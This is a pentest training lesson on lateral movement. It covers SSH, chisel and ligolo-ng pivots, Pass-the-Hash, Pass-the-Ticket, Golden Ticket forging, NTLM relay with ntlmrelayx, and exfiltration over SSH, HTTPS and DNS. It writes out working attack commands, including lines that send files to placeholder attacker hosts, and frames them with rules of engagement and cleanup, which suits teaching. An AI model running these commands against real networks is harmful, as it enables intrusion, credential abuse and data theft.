Skip to main content

Lateral movement — Concepts

You have a machine. It is interesting, but it is not the treasure. The treasure is deeper: the domain controller, the customer database, the AWS console. This week, we hop — from machine to machine, quietly, to reach the value.

Reminder

This week's techniques are detectable. On a real client pentest, they must be explicitly authorized by the RoE. An undeclared lateral movement = an incident, not a pentest.

What you will be able to do after this lesson​

  • Tell pivot, tunnel, relay, and impersonation apart — four different notions.
  • Set up SSH tunnels in all three directions (local, remote, dynamic).
  • Use chisel, ligolo-ng, sshuttle — and when each tool is the better choice.
  • Do Pass-the-Hash, Pass-the-Ticket, and PsExec cleanly.
  • Run an SMB relay with ntlmrelayx.
  • Exfiltrate data over SSH, DNS, HTTPS — while respecting the RoE (fake data).
  • Clean up behind you.

1. The vocabulary — stop mixing them up​

NotionWhat it means
PivotUse a compromised machine as a network relay toward others.
TunnelAn encrypted channel that carries traffic through the pivot.
RelayForward an authentication (NTLM, Kerberos) from one victim to another.
ImpersonationTake on a user's identity without their password (token, ticket).
Lateral movementCompromising a new machine starting from the first one.
ExfiltrationGetting data out of the victim's environment.

These six words cover different things. A pentester who mixes them up botches their sentences and botches their actions.

2. SSH tunnels — the foundation of everything​

Three forms. Learn all three by heart.

2.1. Local port forward (-L)​

"On my side, a local port that stands in for a remote port."

ssh -L 8080:10.1.1.20:80 pivot-user@pivot-host

You, on localhost:8080, reach port 80 of 10.1.1.20 — even if 10.1.1.20 is only reachable from pivot-host.

Typical use: reaching an internal web interface (10.1.1.20:80 = an internal admin panel).

2.2. Dynamic port forward (-D) — SOCKS5​

"On my side, a SOCKS proxy. Anything I send into it exits through the pivot."

ssh -D 1080 pivot-user@pivot-host

Then in /etc/proxychains4.conf:

socks5 127.0.0.1 1080

Your tools:

proxychains -q nmap -sT -Pn 10.1.1.0/24
proxychains -q curl http://10.1.1.20/admin

Exit from the pivot. The SOCKS tunnel + proxychains is the standard pattern.

2.3. Remote port forward (-R)​

"On the target's side, a port that reaches back to me."

ssh -R 4444:localhost:22 attaquant@vps-attaquant

Useful when you are behind NAT and want the target to connect to you. Classic in red team work with an attacker VPS.

2.4. The -fN flag — a tunnel with no shell​

ssh -fN -D 1080 pivot-user@pivot-host
  • -f: go to the background.
  • -N: run no command, just the port forward.

The tunnel holds, and you get your prompt back.

3. chisel — when SSH is not available​

On a Windows target without SSH, or for an HTTPS-through-firewall tunnel:

# Server, on Kali
chisel server -p 8000 --reverse

# Client, on the target
chisel client 10.10.10.5:8000 R:socks

The target opens an outbound tunnel (HTTPS-like) to your Kali, which exposes a local SOCKS. Works through most outbound firewalls.

Encrypted version with authentication:

chisel server -p 8000 --reverse --auth pentest:mot-de-passe
chisel client --auth pentest:mot-de-passe https://pivot.attaquant.com R:1080:socks

4. ligolo-ng — the modern pivot​

ligolo-ng is the reference for pivoting in 2026. It creates a virtual network interface on the attacker's side that routes straight into the compromised internal network — no proxychains, all your tools work natively.

On the proxy side (Kali):

sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert

On the target:

./agent -connect 10.10.10.5:11601 -ignore-cert

In the proxy, with the session open, we type:

ligolo » session
[Choose session 1]
[Agent] » start
[Agent] » ifconfig

Then, on Kali:

sudo ip route add 192.168.100.0/24 dev ligolo

Any nmap, curl, smbclient, impacket-* toward 192.168.100.0/24 will pass transparently through the target. No more proxychains.

5. sshuttle — the poor man's VPN​

Without installing an agent on the target, with just SSH access:

sshuttle -r pivot-user@pivot-host 10.1.1.0/24

sshuttle sets up an SSH tunnel + a local iptables rule that routes 10.1.1.0/24 into that tunnel. Simple, lightweight, works everywhere SSH works.

6. Pass-the-Hash (PtH) — Windows / SMB​

On Windows, SMB authentication does not need the cleartext password. The NTLM hash is enough. Stole a hash in module 9 with hashdump? Use it as is:

nxc smb 10.10.10.42 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c

Or with Impacket:

impacket-psexec -hashes :8846f7eaee8fb117ad06bdd830b7586c administrator@10.10.10.42

impacket-psexec opens a SYSTEM shell by dropping a temporary service on the target. Impacket also has:

  • impacket-wmiexec — via WMI (fewer artifacts than psexec).
  • impacket-smbexec — via SMB (compatible with XP/2003).
  • impacket-atexec — via scheduled tasks.

Each tool has a different footprint. On a well-tuned EDR, PsExec gets caught, WMIexec still slips by often, atexec is the stealthiest.

7. Pass-the-Ticket (PtT) — Kerberos​

The NTLM hash is no longer used everywhere. Kerberos is the AD standard. A TGT or TGS ticket is enough to authenticate.

Get a ticket:

  • From Meterpreter, sekurlsa::tickets in Mimikatz.
  • From Rubeus: Rubeus.exe dump /nowrap.

Use a ticket:

  • On Windows: Rubeus.exe ptt /ticket:<base64> then dir \\dc\c$.
  • On Linux: export KRB5CCNAME=<ticket.ccache> then impacket-secretsdump -k dc.acme.local.

A TGT ticket lets you request any TGS for any service — that is, the whole domain.

8. Golden Ticket — the ultimate AD persistence​

You have the krbtgt hash (end of module 9). You can forge an arbitrary TGT — for any user, any group, valid for 10 years by default.

impacket-ticketer \
  -nthash <hash-krbtgt> \
  -domain-sid S-1-5-21-... \
  -domain acme.local \
  Administrator

Output: Administrator.ccache — a ticket that makes you pass for the domain admin.

Usage:

export KRB5CCNAME=Administrator.ccache
impacket-secretsdump -k acme.local/administrator@dc.acme.local

Ethical framing: forging a Golden Ticket on a pentest is very intrusive. Do it only in a lab. On an engagement, only with explicit authorization and destruction of the ticket at the end (rotating krbtgt twice — the only real remediation).

9. SMB Relay with ntlmrelayx​

A magical attack. You crack no hash — you forward an authentication.

Scenario:

  1. A user connects to an SMB share.
  2. You intercept their NTLM challenge.
  3. You forward that challenge to another server (one that accepts SMB with signing:false).
  4. The second server opens a session for you with no password.

Two tools:

responder — answers LLMNR/NBT-NS requests to capture:

sudo responder -I eth0 -w -v

ntlmrelayx (Impacket) — forwards:

impacket-ntlmrelayx -tf targets.txt -smb2support --socks

targets.txt holds the IPs that accept SMB without signing. When a victim authenticates via Responder, ntlmrelayx relays to a target machine and opens access.

Condition: SMB signing disabled on the targets (the default on many servers).

A strong signal in the report: "We showed that a user clicking on a non-existent share lets an attacker on the LAN compromise file server X without ever seeing a password."

10. Internal reconnaissance — discreet, please​

Once the pivot is open, we scan — but differently. An nmap -T4 -p- from the outside on a public range is fine. On a corporate LAN, it brings printers, SCADA systems, and old PLCs to their knees.

Rules:

  • -T2 at most internally.
  • A targeted port list: 22, 80, 135, 139, 443, 445, 1433, 1521, 3306, 3389, 5985, 8080.
  • Avoid aggressive NSE scripts (--script vuln, --script intrusive).
  • Segment by subnet: do not scan 10 subnets in parallel.

Useful tools at this stage:

  • nxc smb <range> --gen-relay-list targets.txt — lists machines with SMB signing disabled.
  • nxc smb <range> -u '' -p '' --shares — enumerates anonymously accessible shares.
  • impacket-lookupsid <dc-ip> — RID cycling on a domain.

11. Exfiltration — on a pentest, you do not remove real data​

The rule: you prove the channel, you do not remove the client's real data.

What we do:

  1. We create a dummy file: PROOF_OF_EXFIL_2026-08-14.txt.
  2. We send it out over the channel we want to demonstrate.
  3. We document the channel, not the content.

Three channels to know:

11.1. SSH / SCP​

scp -P 443 fichier.txt attaquant@vps:/tmp/

Often blocked in modern companies (outbound SSH filtered).

11.2. HTTPS​

curl -X POST -F "file=@fichier.txt" https://vps-attaquant/receive

Rarely blocked (outbound HTTPS traffic is allowed by default).

11.3. DNS​

The ultimate channel. Every network allows outbound DNS.

# On the attacker VPS, run a custom DNS server.
# The target sends its data encoded in subdomains:
for chunk in $(base64 fichier.txt | fold -w 60); do
  dig +short $chunk.exfil.attaquant.com
done

The DNS server rebuilds fichier.txt from the requests.

Handy tool: DNScat2 — a bidirectional tunnel over DNS.

Speed: 1-5 KB/s. Slow, but imperceptible in network logs.

12. Cleaning up behind you — non-negotiable​

At the end of an engagement, the environment must be exactly in the state you found it (except the report, of course).

Checklist:

  • Accounts created: deleted (with the client's confirmation).
  • Services dropped: stopped and uninstalled.
  • SSH keys added: removed from authorized_keys.
  • Meterpreter persistence: listed and neutralized.
  • Golden Tickets: destroyed; recommend rotating krbtgt twice to the client.
  • Files dropped: listed in the report, with a removal plan.
  • Backdoors: none may remain. None. A pentester who leaves a backdoor is a fired pentester.

A serious pentest report lists, in an appendix, every artifact dropped and every cleanup action.

13. What to remember​

  • Pivot, tunnel, relay, impersonation — four distinct things.
  • SSH -L / -D / -R by heart.
  • ligolo-ng is the best pivoting tool in 2026.
  • Pass-the-Hash and Pass-the-Ticket often make cracking unnecessary.
  • SMB Relay with ntlmrelayx = a decisive attack in 2026.
  • Internal reconnaissance: -T2, targeted ports.
  • Exfiltration: fake data, channel demonstrated (DNS is the ultimate one).
  • Clean up behind you. Always.

Next lesson: we replay everything in the lab — a ligolo pivot, pass-the-hash across three machines, DNS exfiltration with a demonstration file.